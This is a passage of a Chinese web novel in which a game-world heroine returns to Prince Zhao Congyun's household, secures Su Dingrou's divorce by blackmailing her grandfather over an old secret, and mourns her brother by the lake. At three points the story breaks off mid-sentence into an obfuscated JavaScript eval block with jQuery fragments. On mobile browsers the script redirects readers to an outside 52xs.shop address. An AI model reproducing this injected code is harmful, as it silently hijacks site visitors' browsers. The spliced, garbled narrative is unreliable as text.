阿念认真道:“可姨娘说了,你在生病,需要吃清淡些。” 岳明明听到“姨娘”二字莫名心烦:“你姨娘说的是生病时候,可我现在好了呀!你不能什么都听她的,要有自己的主见!” 四五岁的阿念显然不太能消化“主见”二字,但又被岳明明暴躁的精神状态震慑住,为难道:“……那你想吃什么?” “糖醋排骨,水煮鱼,小酥肉,油爆大虾……随便来点就行!” 阿念:“…………” “好吧,你在这里等着,千万不要跑,我马上回来!”她说完便像一条泥鳅,哧溜一下钻了出去。 阿念离开后,张牙舞爪的少女突然安静下来,脸上罕见地露出一点伤感和怅然。 其实她并不是真的想吃那些东西,只是过过嘴瘾而已,顺便发泄一下心里那股邪火。 默默舀起一勺粥,放进口中,米香在唇舌间荡开,口感软而不烂,水和米的比例也刚刚好,显然是花了很多心思熬的。 怪不得某些人天天喝…… 岳明明咂巴咂巴嘴,刻薄地想:这么厉害,做什么舞姬,怎么不去开粥铺? * 姜欢进屋时,东叔正对赵琮昀汇报码头被炸的后续情况。 她瞥见书案上丝毫未动的午饭,默不作声撤下去,换上热气腾腾的晚饭。 东叔识趣道:“王爷先用膳吧。” “无妨,继续。”赵琮昀低头啜了口茶,嗓音有些沙哑:“岳兆封的事怎么样了?” “基本已查清楚,除贪腐外,还涉及玉湖暗杀、码头爆炸……桩桩件件,他那些同党都供认不讳。” 东叔犹豫着看了自家王爷一眼,继续道:“另外,岳娘子嫁过来那天,也的确是她父亲雇了轿夫,打算在路上杀人灭口。” 赵琮昀淡淡“嗯”了一声。 这几日他不眠不休,一直忙于码头爆炸和后续赈灾之事,连东叔都看不懂,此刻他到底是恢复了冷静,还是在刻意压抑。 寻找岳明明的事,赵琮昀也再没提过,如果东叔不说,他就像忘了一样,不再过问。 东叔隐隐觉得不安,于是主动道:“人我们还在找……据岳兆封手下讲,他们将岳娘子劫来后送上一条船,已证实就是码头附近沉下去那条。” 赵琮昀执笔的手,无法掩饰地颤了一下。 东叔忙道:“岳兆封和岳琛尸体已找到,唯独不见岳娘子,我倒觉得这是好消息。也许岳娘子逃走了,或者被人救了……她身上有那么多谜团,很可能死里逃生!” 赵琮昀不置可否,合上一份新拟奏折,吩咐道:“明日一早,把它交给通进司。” 东叔点头接过去,习惯性打开扫过一眼,顿时大惊失色:“王爷……万万不可!这份奏折不能交啊!” 赵琮昀居然不声不响,写了一份李凭如在府内纵火、谋害妾室的告词! 奏折上还讲述了岳兆封之女岳琬,如何不满父亲罪恶行径,盗取漕运记录,结果被害失踪的经过。 东叔急道:“我知道你想为岳娘子鸣不平……可这折子递上去,等于坦白了咱们插手漕运之事,这可是皇上的大忌啊!” 赵琮昀淡淡道:“与她无关,我不过陈述事实而已。” 他轻笑了一下:“最差结果,不过监禁流放、毒酒一杯……演了这么多年,我也累了,如果让李凭如逍遥法外,那样的王府,我也不用回去了。” 东叔紧紧攥着奏折,还要再劝,赵琮昀起身,揉了揉酸涩的眼眶:“我知道你又想拿百姓压我,不过漕运由李大人接管,江州灾情也已缓解,我没什么可担心的……” “长这么大,你就允我自私一回吧。” 东叔被这句话噎住,喉头滚动,一时不知该如何是好。 这时姜欢突然上前,玉指从东叔手里抽出奏折,不见外地读了起来。 赵琮昀眉头微微蹙起,却没有阻拦。 这些年,姜欢陪在他身边,一半像朋友,一半像盟友。他们各有各的算计,却互相尊重,保持着若有似无的默契。 未经招呼,擅自参与他的事,这还是第一次! 姜欢看罢奏折,盈盈一笑,点评道:“王爷这是‘伤敌一千自损八百’的做法,奴家觉得不好。” “东叔拦不住,我来试试呢?” 她眼波流转:“还是王爷觉得,我这上不得台面的身份,根本不值得您费心考虑。” “……” 赵琮昀微感诧异,耐着性子道:“不论我怎样,邀月楼都不会有事……这承诺过去有效,将来也有效。你尽可放心。” “可若是您出事,拿什么担保呢?” 姜欢垂眸叹息:“大厦倾颓,往往只在一瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14174118|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王爷现在尊贵风光,这一纸奏折递上去,可就不一定了。届时您可能自身都难保,又何谈对我的承诺呢?” 这番话说得直接,东叔脸色一变,眼中带着怒意:“姜姑娘何至如此!” 赵琮昀深深看她,忽然明白过来:“原来你惦记的,是那东西!” 见他读懂了自己的哑谜,姜欢点头:“奴家弱女子,在京中讨生活不易,又有许多人要养,万事以自保为先,希望王爷理解。” 赵琮昀缓缓道:“此事容我考虑一下……如果真有那一天,东叔有功夫在身,苏定柔有她祖父……我身边屈指可数的几人里,的确只有你用得上它。” “这些年……如果没有你和邀月楼帮忙,我做的许多事不会这么顺利,可能连个放心睡觉的地方都没有。”赵琮昀自嘲地笑笑:“这份恩情,我会报答。” 姜欢深谢一礼,继续道:“其实我很好奇呢!那位岳小娘子究竟有何魅力,值得您如此玉石俱焚?” 赵琮昀睫毛轻颤了一下:“我说过了,与她无关。” “是吗?” 姜欢柳眉一挑,扬手便将奏折丢进了香炉,炉火倏地跃起,将纸墨一起吞噬。 赵琮昀怔道:“……你以为这样能阻止我?你烧掉这一份,我还可以再写。” “您恐怕用不上了。”姜欢神秘一笑:“王爷请跟我来。” * 赵琮昀在邀月楼,有自己的专用卧房和书房,他又是喜静的性子,根本不可能无事闲逛,所以对邀月楼并不熟悉。 这么多年,姜欢也从未带他参观过,今日突然邀请,赵琮昀和东叔都很意外。 姜欢在前带路,两人紧随其后,下了几层楼梯,穿过一道金灯玉帐的长廊,终于来到尽头房间。 “王爷请吧。” 姜欢玉手一指,自己施施然退后几步,倚着廊上轩窗,将目光投向窗外荡漾的绿波。 东叔神色紧张,赵琮昀瞥她一眼,低低冷笑一声,若无其事推开了那扇门。 然后……他的呼吸窒住了。 熟悉的脸,熟悉的笑,熟悉的声音……连那荒唐行径,都格外熟悉。 岳明明当时正鼓着嘴巴,跟一个四五岁的小孩,抢一只烧鸡! 门突然打开,阿念下意识停手,岳明明瞬间占了上风,十分凶残地扯下一只鸡腿,哈哈笑道:“我赢啦!让你不给我吃!” 阿念:………… 东叔:………… 岳明明笑着扭过头来,猝不及防对上一双幽潭般的眸子,那冷冰冰、仿佛藏着无限心事的眼神,她再熟悉不过! 好不容易抢到的鸡腿,啪嗒一声落进碗里,溅了她一身粥。 “那个……你来啦!咳咳……好久不见!” 她努力像往常一样赔笑招呼,然而说着说着,声音弱下去,隐隐带了哭腔。 死里逃生的后怕,乍见故人的欣喜,还有许多岳明明无法分辨的情感,铺天盖地涌上来,她眼圈倏地红了。 他到底知不知道……自己受了多大委屈!!! 赵琮昀像从一场大梦中醒来,长长呼出一口气,僵着身子站到岳明明面前,不由分说拉过她的手:“走,我们回家。” 22. 第 22 章 回程路上,积了很久的一场秋雨,终于淅淅沥沥落下来。 赵琮昀一手掩好车帘,顺便将暖炉拨得更旺,另一手始终攥着岳明明,没有松开。 岳明明有些不好意思。 她知道赵琮昀最爱干净,她的手因为抓了鸡腿,弄得油汪汪,还带着一股扑鼻的烧鸡味。 她试探着往回抽手:“不好意思……有点脏……我擦一擦吧?” 赵琮昀不答话,掌心反握得更紧。 岳明明忍不住偷偷打量他,不料赵琮昀漆黑眸子刚好看过来,与她鬼鬼祟祟的眼神撞了个正着。 他的目光深而暗,平静之下似乎涌动着不为人知的惊涛骇浪。 岳明明被盯得心跳乱了几拍。 外面雨声渐大,湿漉漉的夜风裹着凉意钻进马车,忽然打湿了赵琮昀眼底。 岳明明怔怔看他泛红的眼眶,觉得一定是自己眼花了……她惊得几乎要凑过去检查,却见赵琮昀深深吸了口气,迅速闭上眼睛。 岳明明:……… 她此刻才注意到,赵琮昀眼下有一片无法忽视的阴翳。除了黑眼圈,他额发也有些凌乱,下巴微微泛青,一贯整洁的长衫居然沾上了几点墨痕。 这是多久没睡,把自己搞成这样……像只跑丢的狗…… 有点莫名可怜。 岳明明很想拍拍头,扔给他一只肉包子。 她呆愣片刻,收起玩笑心思,忍不住伸出手,替他抚平了一缕额发。赵琮昀睫毛轻颤,喉头微微滚动,却没睁眼。 “要不你先睡会儿,离王府还有一段路呢。”岳明明笑道。 “嗯。”赵琮昀低低答应,偏头枕住摇晃中的车窗,看起来不大舒服。 下一秒,少女温软的身子忽然靠过来:“哎……肩膀借你靠一下,睡吧!” 赵琮昀整个人僵住。 向来稳重自持的一个人,被岳明明突如其来的热情逼得不敢睁眼,更不敢真靠过去,像冻住的冰块,只不过周遭冒的是热气。 岳明明觉得好笑,促狭道:“王爷,你这个样子很容易落枕的!” 赵琮昀错过顺水推舟的最佳时机,此时靠过去更觉尴尬,只好默不作声,继续僵着。 马车突地颠簸了一下,就在赵琮昀头撞上车窗前,一只飘着烧鸡味的手伸过来,将他的头按向另一侧。 力气不大,刚好打破他的矜持。 赵琮昀头抵在一道纤细的肩膀上,连呼吸都放轻了,这几日的慌张、愤怒、恐惧、疲惫如薄雾一点点散去,终于露出澄澈夜空。 明月皎皎,如愿以偿。 他几不可闻地长出一口气,身体放松下来,居然真的沉沉睡去。 * 最后落枕的人是岳明明。 府门前,她不忍心打扰赵琮昀,逞能陪他在车里坐了两个时辰,后来自己也睡着了。 醒过来时,人已回到房中,手上干干净净,没有油也没有烧鸡味,只余一股淡淡的松雪香,温柔覆住她。 岳明明歪着脖子爬起来,望见庭前桂花被雨打落满地,小厨房升起袅袅炊烟,心头有种沉甸甸的踏实感。 不知从何时起,她竟真把这里当成了家。 愣神之际,杏儿从门外跑进来,眼中含泪道:“我日日祈祷……苍天有眼,娘子总算平安回来了!” 岳明明笑脸还未绽开,忽见小婢女手臂缠满绷带,蹙眉道:“你胳膊怎么啦?是不是那天救火时伤到了?” 杏儿不自然地笑了笑:“对……那天被火燎了一下……不碍事的!” 岳明明招呼她过来:“我给你看看!烫伤这事情,可大可小,要是留疤就不好了。” 杏儿慌忙拒绝:“真的没事,东叔找人替我看过了,过几日就能痊愈。热水烧好了,我先服侍娘子洗漱更衣吧。” 岳明明不动声色走过来,突然拉住她衣袖,仔细翻看起来。 但见杏儿手臂光洁,哪有烫伤痕迹? 她刚要发问,杏儿忍不住痛呼出声,岳明明惊得手一抖:“哪里弄疼你啦?” “不……不是烫伤……是骨头不小心断了……没事的。” 岳明明瞧她神情,顿时寻思过味来,眼神冷下去:“李凭如干的?你说实话!” 杏儿扑通一声跪下:“是奴婢自己不小心,岳娘子千万别去招惹她了!您就在这园子里安安稳稳待着,有王爷护着,好歹没有性命危险啊!” 岳明明眼里怒火升腾,要她躲在赵琮昀羽翼之下,自欺欺人地做缩头乌龟? 不可能! 她不想杏儿为难,将她扶起,换了张笑脸道:“知道啦!肯定不再让你担心!但你要好好养着……我去洗澡,不用你伺候!” 转身离开后,岳明明眼中露出笃定锋芒,她暗下决心,这个仇一定要报! * 岳明明这顿澡洗得心不在焉,足足泡了一个时辰。 神清气爽出浴后,她摸着饿瘪的肚皮往回走,祈祷杏儿善解人意,给她备了饭菜。 一进门,房里果然飘出饭菜香。不过善解人意的不是杏儿,是赵琮昀。 他恢复了往日芝兰玉树模样,一身嵌了银线的月缎长袍,素雅精致,眉眼间仍有淡淡倦意,却被他周身从容气度遮掩掉。 岳明明愣了一下,梗着落枕的脖颈打招呼:“不好意思洗过头了!等多久啦?” 摸摸汤碗,还是热的。 赵琮昀未及回答,杏儿先应道:“王爷等了一个多时辰……这桌饭叫厨房热了三回,娘子看口感若不对,我让厨房去重做。” 岳明明吃惊看他:“不是吧!” 她语重心长:“下次你自己先吃,或者让人去叫我……千万别傻等着了!” 赵琮昀放下汤碗,默不作声瞥她一眼。 没有讽刺,没有吐槽,连冷笑都没有。 ………… 岳明明被“忍气吞声”的赵琮昀吓到了。 她努力回想昨晚,好像并没有对他怎么样,为啥他一副奇怪的表情? 靠个肩膀而已,不会要她负责吧? “有什么不满,求你直说。你这样就有点吓人了。”岳明明真诚道。 赵琮昀脸色一黑,从怀中掏出一封信扔过去:“……你要的东西。” 岳明明摸不着头脑,好奇将信展开,顿时被三个字晃到了眼睛—— 和离书!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196043|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你要跟我和离?”岳明明怔住。 她已经收过一次休书了,虽然和离好听点,但也没必要浪费笔墨再次提醒了吧! “你能不能看清楚再说!”赵琮昀气道。 岳明明艰难研读,被龙飞凤舞的文言文折磨得脑袋冒烟,最后宣布:“咳咳……没看明白。” 赵琮昀没了脾气,最后咬牙解释道:“你把这个拿给苏定柔,让她签字画押。” “你……你同意了?!” 惊喜来得猝不及防,岳明明险些跳起来:“我现在就去找她!告诉她这个好消息!” 赵琮昀长臂一捞将她拦下,冷声道:“吃完饭再说。” 岳明明此刻对他言听计从,立刻坐回来,又是盛汤又是夹菜,活脱脱的便宜狗腿子。 “你是怎么想通的?”她忍不住发问。 “昨天下了一夜的雨,”赵琮昀淡淡道:“我大概脑子进水了。” “你这么说就客气了!” 岳明明心情好,不跟他抬杠,继续拍马屁道:“我替王妃姐姐谢谢你!你放心,等有空我再去月老庙替你求一段更好的姻缘!保准不输给他们那对青梅竹马!” 赵琮昀筷子一顿:“谢谢,还是替你自己求吧。” 岳明明没听懂他话里有话,哈哈笑道:“我可不需要……你没听说过吗,智者不入爱河,爱情的苦谁爱吃谁吃!” 赵琮昀:………… 岳明明想了一下,又弱弱问道:“你想过对外怎么说了吗?皇上那边需要给个交待吗?” 赵琮昀道:“这些不用你们操心,我自会解决。你们唯一需要考虑的,是如何说服她祖父。据我所知,那位老太傅可不好糊弄。” “此番漕运之事,他知道我暗中参与,对我的印象已不似从前,若还是拿风流纨绔那套说辞糊弄人,我想他是不会信的。” 洗白也有洗白的烦恼。 岳明明点头:“知道了!实在不行就直说!虎毒不食子,他还能把自己亲孙女沉塘不成?” 她忽然又想起自己那位奇葩父亲的所作所为,不放心道:“额……不能这么变态吧?” 赵琮昀猜到她心中所想,语气和缓下来,安慰道:“没关系,你们如果不方便,就由我出面跟他谈。” “不能什么都靠你!有没有我帮得上的地方?” “你别再惹事就好。”赵琮昀似乎轻叹一声:“另外,你说要当王妃的事,暂时还不行……给我一些时间,至少要去掉你罪臣之女的身份再说。” 岳明明本想劝他别太当真,可看到他郑重其事的表情,她不敢开口了。 他在一步步努力践行她的要求,她再说不要,会不会有点……茶茶的? “好,听你的!” 岳明明忽然意识到,自己真的在按照系统指示做任务! 可她已经好久没想起自己是在游戏中了,她现在没办法对发生的事一笑置之,也没办法再把眼前的人只看作boss和npc。 哪怕短短几日相处下来的小阿念,也开始让她牵肠挂肚。 她在切身地痛,也在切身地爱。 岳明明瞄着赵琮昀侧脸,心说有点不妙! 23. 第 23 章 岳明明得意洋洋,把和离书拍在苏定柔面前,却没收到意想之中的效果。 对于曾经无比渴望的这张纸,苏定柔只默默扫过一眼,道:“我……不能和离。” 岳明明愣住,心说姐姐你不能这么玩呀!我差点翘辫子才换来赵琮昀松口,他要知道咱们这么耍他,可能会真的让我翘辫子啊! “为什么?你不想跟沈将军在一起吗?”她不解道:“难不成……你忽然看王爷顺眼了?” 苏定柔淡淡笑了一下,不理会她的玩笑:“我现在离开……太不负责任了。” 她伸手拉住岳明明,仔细瞧着少女明显瘦了一圈的脸:“你此番要不是为了救我,也不会落入李凭如的圈套,差点连性命都丢掉。” “说来惭愧,宗吾从江州给我写了信,我才知道这次漕运赈灾,你与王爷付出了多少努力……跟你们相比,我不但没帮上任何忙,还为一己私利,给大家出难题……对不住!” 她顿了顿道:“我知道你想帮我,可我不能只想着自己……所以我决定留下来,如果李凭如再要害你,咱们也能有个照应。” 岳明明一呆,她没想到,苏定柔留下的原因……竟然是自己。 “那……沈将军怎么办?你的幸福怎么办?”岳明明道。 “他会理解的。” 苏定柔垂眸看向桌案上笔墨未干的信笺,岳明明跟随她的目光,看清了“来生再续,定不负君……”几个娟秀小字。 这是一封诀别书。 岳明明眼疾手快,果断抽过那张信笺,撕了个粉碎:“苏姐姐,什么今生来世的……不要搞得那么苦情好不好?难道就因为害怕李凭如,你就退缩了,放弃咱们好不容易争取来的和离书……她配吗?!” 苏定柔愣愣看她:“可是你……“ 岳明明将碎纸丢进香炉,拍拍手掌道:“苏姐姐,你不用担心我!她顶多是个小怪,虽然恶心了点,暂时打不过去,但我可是主角!我有光环的,我会怕她?” 苏定柔听不懂她口中陌生的词语,但被她毫无理由的乐观态度感染,忍不住瞥了一眼被她刻意推开的和离书。 岳明明看出她犹豫,继续道:“咱们之前说好的,你去找你的爱情,我上位当王妃,你可不能反悔!” 苏定柔眼中露出忧虑之色:“我并非贪恋这位子……如果王爷答应,我随时可以让给你,可是你真的想好了吗?这趟浑水,你非搅进来吗?” 岳明明知道她是真担心自己,心头一暖,收起玩笑态度,认真道:“苏姐姐,现在不是我想不想参与进来的问题了。你觉得我此时退让,不再招惹李凭如,她会放过我吗?” 她苦笑道:“从前我也害怕,想过顺其自然,也想过抱大腿……可是不行啊,关键时刻不顶用……就像掉进河里的时候,哥哥拼命不让父亲伤害我,远处也有画舫救我,可是如果我自己不学会游泳,还是会淹死。” 她回想起初入游戏时的狼狈和无措,眼神渐渐笃定:“既然已经身在局中,我不能坐以待毙……我需要尽我所能获得力量,保护自己,也保护我在意的人。” “我在这里朋友不多,你算一个,”岳明明眉眼弯弯:“苏姐姐,其实我很怂的,所以你勇敢一点,先给我做个榜样好不好?” 做个勇敢的人吗…… 苏定柔攥紧那封和离书,心头默默许下一个承诺,而这承诺与爱情无关。 她笑起来,眼角有泪滑落:“好啊,我试试。” * 苏老太傅果然十分难搞。 苏定柔是个实在人,回到家中对祖父如实说明了事情经过,把老头气得差点厥过去,打死不同意二人和离。 苏定柔也是个倔强的,在祖父门前跪了一天一夜,最后体力不支晕倒,苏老太傅命人将她抬回王府,放言让她“死也要死在赵家”。 苏定柔清醒后还要再回去,这次被赵琮昀拦下来,他带了二十多卷珍藏古籍亲自登门游说,结果老太傅毫不留情,连人带书一道赶出了门。 岳明明闻听此事,悄悄问苏定柔:“你这祖父是亲的吗?你不是捡来的吧?” 苏定柔苦笑:“祖父为人向来如此,在他心中祖宗礼法最大,皇上他都敢当面顶撞……我做出这样离经叛道之事,他没与我断绝关系、把我从家谱中除名,已经很疼我了。” “我就不信,他老人家一辈子没做过出格的事!”岳明明不忿道。 下一秒,她忽然想起什么,猛地拍脑门道:“我才是脑袋进水了!怎么把这么重要的东西忘了!” 她眨眨眼睛,抓起一把瓜子,狡黠笑道:“苏姐姐,你祖父叫什么名字?” ……… 晚饭后,苏定柔带岳明明回了祖父家。 老太傅板着脸,还没等教训孙女,就被旁边一个死皮赖脸的少女单独拉走了。 苏定柔既好奇又担心,岳明明一直神神秘秘,不肯透露计划,只问清了老人的身体和精神状况,提前揣了一把药丸,有疏肝理气的,定神通窍的,甚至还有急救护心的…… 苏定柔确信,这不是岳明明为她自己准备的。 焦急等候了半个多时辰,房门终于吱呀一声打开,老太傅黑着脸走出来,身后跟着眉开眼笑的岳明明。 “爷爷,那咱们就说定啦!君子一言驷马难追!” 老太傅冷哼一句,算是默认,然后看也不看其他人,扭头气鼓鼓回了房间。 苏定柔皱眉道:“祖父他没事吧……你们聊了什么?他没为难你吧?” 岳明明笑道:“苏姐姐放心,我们聊得很愉快……你祖父同意你和离了,也不反对你跟沈将军在一起了!” 苏定柔不可置信地看向她,眼里渐渐燃起光芒:“真的?!祖父他……他同意了?” 岳明明狠狠点头。 苏定柔愣在原地,眼中扑簌簌滚下泪水却不自知,岳明明走过去,拿袖子在她脸上胡乱抹了抹,抱住她道:“苏姐姐,你自由了!真好!” “谢谢你。”苏定柔伏在岳明明怀里,肩头耸动,泣不成声。 她从未想过有一天真的能得偿所愿。那是她此生不敢惦记的奢望,连做梦梦到,都会心生愧疚。 直到岳明明出现,嬉皮笑脸地告诉她,她可以……只要她愿意,只要她勇敢一点点。 “你到底跟我祖父说了什么?”情绪渐渐平复后,苏定柔忍不住问道。 岳明明哈哈一笑:“这个真不能说!我对你祖父发过誓,就算夜里说梦话,都不能讲出来的!” 苏定柔扑哧笑了,没有再追问下去,岳明明心里也松了口气。 她不过是仗着系统,将老太傅的生平轶事狠狠八卦了一番。岳明明坚信,谁没有年少轻狂、情不自禁的时候,老太傅也不例外! 果然深扒后,被她发现一段唏嘘往事——当年进京赶考时,老太傅借住友人家中,受友人之妻照拂,两人生出一段心照不宣的感情。当时谁都没有明说,也根本不可能说什么,只能将这份感情压在心底很多年,当成一个无人知晓的秘密。 后来老太傅一举夺魁,在官场步步高升,对友人多番提携,两人至今仍是至交。 岳明明深知老太傅对这段友情格外珍视,这才以此秘密为要挟,换取苏定柔的终身幸福。 其实老太傅本可以矢口否认,可他偏是最刚正不阿的人,不会撒谎,又很要脸,这就给了岳明明施展的机会。 岳明明临走时,在门口郑重给老人家道了个歉,房里传来一声若有似无的长叹。 “桌上那瓶逍遥丸,您记得吃啊!”岳明明隔着房门嘱咐道,又抱了一下苏定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258103|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔,这才恋恋不舍离开。 从此那座王府之中,她就要孤军作战了。 * 接连几日,京中风雨如晦。 漕运一案终于进入尾声,涉案官员斩的斩、流放的流放,没人注意到狱中一位叫孙大勇的证人突发急病去世,尸体被扔到乱葬岗后,又被人悄悄运了出去。 正事之外,街头巷尾纷纷议论的,便是那位出名纨绔的风流王爷,终于惹怒王妃,二人闹得和离收场。 老太傅羞愤告病多日,皇帝在殿上怒斥自己弟弟多年来的荒唐行径,命他闭门反省,非传召不得出府,更不准踏进邀月楼半步。 赵琮昀这回出人意料地听话,大门不出二门不迈,老老实实在家思过,每日给皇兄呈上一份文采斐然的反省书,以表诚意。 过了几日,反省书后又附上一份求情书,言辞恳切,请皇兄免妾室株连之罪,只要皇兄答应,他从此改过自新,好好过日子,再不去外面沾花惹草。 皇帝原本有心拒绝,皇后却不经意提出,可以将自己侄女从侧王妃扶成正室。 皇帝思考良久,反倒答应了赵琮昀请求,一纸赦令免了岳明明罪臣之女的身份,而对皇后的提议却没有再搭茬。 王府里,岳明明接过赦令,喜出望外。 “这么说……我安全了?会不会留下什么污点之类的?” 赵琮昀道:“你没听过‘君无戏言’?皇上亲笔签下的赦令,你当是什么?” “懂了懂了!”岳明明仔细收入怀中,朝他嘿嘿笑道:“大谢特谢,王爷又保我一条小命!” 赵琮昀临帖的笔一刻未停,淡淡道:“与我无关。” “哎……王爷还是做好事不留名。” 岳明明凑到桌前,主动为他研起墨来:“我可都知道,外面那些诋毁你的谣言,还有朝上参你作风问题的折子,都是你自己安排的……就是为了不让苏姐姐为难。” 赵琮昀不答,全神贯注于纸面上,笔走龙蛇,行云流水,无论字或人都煞是好看。 岳明明看呆了一下,半晌后继续拍马屁:“还有你前几日牺牲色相,勾引李凭如……我承认当时是有点生气,但得知你的用意后,我特别佩服王爷这能屈能伸的本事……” 赵琮昀手倏地顿住,抬头道:“你把话说清楚……什么叫牺牲色相?什么叫勾引?” 岳明明笑:“你那么讨厌她,最近却天天陪她吃饭……如果不是以为自己有戏,她又怎么会迫不及待去求皇后,要当这个王妃?” 赵琮昀将笔缓缓搁下,不置可否。 “你那位皇兄大概不喜欢她来当你的王妃,而你趁机为我求情,皇上就赦免了我,用来牵制李凭如,对不对?” “你自己想明白的,还是背后有‘高人’指导?” 赵琮昀瞥一眼园子,东叔正在那里指挥下人修剪桂树。 “一半一半!”岳明明笑容灿烂:“是不是进步很大?” “脑子似乎长出来了。”赵琮昀点头:“再告诉你个好消息,你那枚药是真的,孙大勇没事,我已命人安排他离开京城了。苏定柔会跟他一起离开,先去川蜀待上一段时日,等风声过去再前往江州。” 岳明明大喜:“太好了!三喜临门,今天得大喝一顿!” 赵琮昀却似乎想起什么,眸子黯淡了一下:“不喝了,喝酒误事……还容易吵架。” “要不我给你煲个汤喝?小厨房新到了洪湖粉藕,正适合炖排骨。” 赵琮昀摇头:“诚意不足。借花献佛的东西我可不要。” “那……你想要什么?”岳明明有种不祥的预感。 “今夜子时来找我。”赵琮昀眸光奕奕,似笑非笑道:“敢不敢?” “没问题!不见不散!”岳明明嘴硬道,心里慌作一团。 24. 第 24 章 接近子时,岳明明在房内如坐针毡。 这个时间约她过去,赵琮昀到底要干嘛……不会是她想的那种事吧? 岳明明咬着嘴唇反思,会不会是自己最近巴结得过了头,让赵琮昀生出些误会。 又或者他禁闭在家,不能去邀月楼消遣,百无聊赖于是打起她的主意? 混蛋啊…… 岳明明哀叹一声,一头扎进床上的衣服堆里。这些衣裙都是她找来试穿的,可惜看来看去,没有一件合心意。 她面红耳赤地把一件低胸襦裙塞回柜子,心想:什么样的衣服,能表达出一种委婉的拒绝呢? * 赵琮昀打开门,微微蹙起眉头。 岳明明穿着一身黑色夜行服,笑眯眯跟他打招呼。 赵琮昀自己穿的是一套藏蓝色云水锦袍,领口袖口隐隐露出银丝绣纹,腰间简单坠了枚白玉,内敛低调。 岳明明看着他被锦袍勾勒出的挺拔身姿,悄悄咽了下口水,把心一横就要进屋,却被赵琮昀抬手拦住。 “马车备好了,走吧。” “……”岳明明闹了个大红脸,困惑道:“要去哪里?皇上不是不准你出门吗?” 赵琮昀扫了眼她身上的夜行服,眸光闪动,最终没作声,大步朝侧门走去。 岳明明屁颠屁颠跟在后面,心里七上八下,不知道这男人今晚又要唱哪出。 门前停着一辆街上随处可见的普通马车,东叔早就候在车前,垂首道:“都已经安排好了,随时可以出发。” 赵琮昀点头,率先上了车,然后掀起帘布对岳明明似笑非笑道:“看你穿得干净利落,应该不需要人扶,自己爬上来吧。” 岳明明:“……” 她倒不是上不去,只是赵琮昀的笑,让她感觉脊背发凉。 又冒犯到他了? 这男人怎么这么容易被冒犯?! “我们到底去哪里?”马车行驶中,岳明明见东叔刻意将车赶上小路,担忧道:“现在是宵禁……被人撞见,到皇上面前告状怎么办?” “怎么,你担心我?”赵琮昀问。 岳明明诚恳道:“我比较担心自己……我今天刚拿到赦免令,晚上就跟着你胡闹,万一皇上反悔呢?” 赵琮昀被气笑了:“你放心,巡防营那边打过招呼了。你那条小命,没人拿得走。” 最后那句话,他语气是认真的。 岳明明怔怔看着他,一时不知该说什么,赵琮昀哼笑道:“上车之后,你如果不是一直盯着我看,早就该发现我们要去做什么了。” “嗯?”岳明明脸颊一热,这才想起来仔细打量这辆车。 这驾马车不比赵琮昀平日坐的那辆豪华宽敞,两个人坐在里面稍显局促,但胜在整洁干净,车里提前用香薰过,又布了个小小的暖炉烘着,将夜风秋露一道隔绝,处处透露着主事人的缜密体贴。 东叔虽办事牢靠,却做不到这么矫情,想来一定是赵琮昀的亲自安排。 岳明明刚要称赞,眼角忽然瞥到一摞摆放整齐的东西,顿时愣住了。 那是香炉、莲灯和许多纸钱。 她撩起车帘,外面漆黑一团,辨不清身在何处,鼻端却嗅到了氤氲潮湿的水汽。 岳明明始终记挂着,哥哥岳琛因为戴罪身份,无碑无坟,连尸身都没人收敛,成了玉湖上的孤魂野鬼。 “我们要去……码头祭拜?”岳明明喉头发紧,努力稳住嗓音道。 赵琮昀淡淡道:“活下来的人,做些力所能及的事,心里会好受些。” 顿了顿,他又问:“再回到那个地方,会害怕吗?” 岳明明摇头:“不怕。” 同样的夜色,同样的玉湖,这一次她身边陪伴的人,让她无比心安。 “谢谢你。” “嗯。”赵琮昀轻描淡写地笑了一下,好似浑不在意,眉眼却比出发时温柔了许多。 马车终于停下。东叔寻了码头附近一处僻静无人处落脚,两人下车后,东叔便独自拎着一些香炉纸钱离开了。 岳明明面露困惑,赵琮昀解释道:“他去祭拜那几名死去的暗卫。” 岳明明这才想起来,当天因她惨死的,还有几个连名字都不知道的人。 她眸光一瞬间黯淡下来,赵琮昀看在眼里,并没有出言安慰。 他默默来到水边,亲手点燃一盏莲灯放入水中,看漆黑水流将那点光亮带走,最终摇晃着消失在远处,这才低低长叹一声。 “走好。” 岳明明蹲在他身边,学着他的样子往水里投入一盏灯,轻声道:“哥哥放心,我会保护好自己,我也不会忘记你。” 这盏莲灯,你能收到吗? 岳明明不知道npc死掉会怎样……彻底消失,还是在另一个世界醒来?此刻她忽然生出一点奢望,如果这世界对她来说是个游戏,会不会对岳琛也一样? 